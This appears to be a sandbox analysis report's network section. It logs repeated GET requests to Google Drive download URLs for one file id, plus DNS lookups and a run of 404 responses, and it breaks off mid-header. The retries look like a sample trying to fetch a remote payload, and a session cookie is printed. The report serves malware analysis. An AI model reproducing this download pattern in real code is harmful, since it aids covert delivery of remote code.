Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cacheCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
Source: global traffic	HTTP traffic detected: GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5wu2E1bw4dP98D9Cd8qt-fR5cPDpzpHDZyzjtvSLh1tODbAdXkictNtZur7WITLuQGContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:34 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-eVNEOKlFIO4tIMXX8hk3Rw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby; expires=Sat, 12-Jul-2025 14:36:34 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5kna-4MJDm66IWy3HTrm96a3SOtgxvPwTSBiYgH14QQbQfw4OMAdUSIcwjwt-KqMfrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:45 GMTContent-Security-Policy: script-src 'nonce-SLy5JSWeW27_I8BErWSEFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQfUJXKG37pf2WWUDNxtkzQMnnEnh13b6h9btB7_sfVgFZAsOndl_RgeQic0B3WQnA_Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:57 GMTContent-Security-Policy: script-src 'nonce-WhAlv9PDiQlv0IkQbT_SAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4v98C6D3BFzYbZ7TiYVYglN-4MEzDQGt8M3jrLt0Pys4SupHpdqWXQfR7YiJHQiU34Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:08 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-VvM70X7_NkPrVq4ineQlZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC44u7Aj1Cs6KLfCXw7uHkHV9OQzBBsT9DA8zE_onW1Rofeo9XMMD-e0c-kasalx37LfContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:19 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-FFnjPDhXdvxjo5IsCDw5_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4qb4uJiDFKvUufKhG42rZQ4iFBmQbIfjKgruzZV_42xNZMHmsiqA71CCuVf22JOFYRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:30 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-Nj2hrFQMANWIpeP9wrv4yQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Ds41NwtSXML3pkSK71wtZPCDl0H__OqVmiq0WpPPjnqHxhkjnSDU8U-4loFAR8Yd-kPojj0MContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:41 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-zUad4YNLIi0F8i8Jt040Uw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ZPTlno3JtTWEcG-acVGgQjsAoIu547NZBHMZgTL2XQPMo-_KFKr0HQqfWRFlHULyJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:53 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-NCyuF-8dKvZD0byQ87OthQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC629zXqoIFHHSG-Us1S2hC1unqnVmfSDpWYqb9O-O_EIDgA9MH4OWyBZBFheuf6V_ttContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:04 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce--gdYnwZUvNrKLuztsOjAVg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5B4IFv7DY6Vm78Lfaud3riKA7e3w7vgG4_IQPffhtVi0Kr2RTbkGzev8mFSLXPdEWMr8cmKTgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:15 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-a69OSf3wVkSXT56gsDBCZw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri 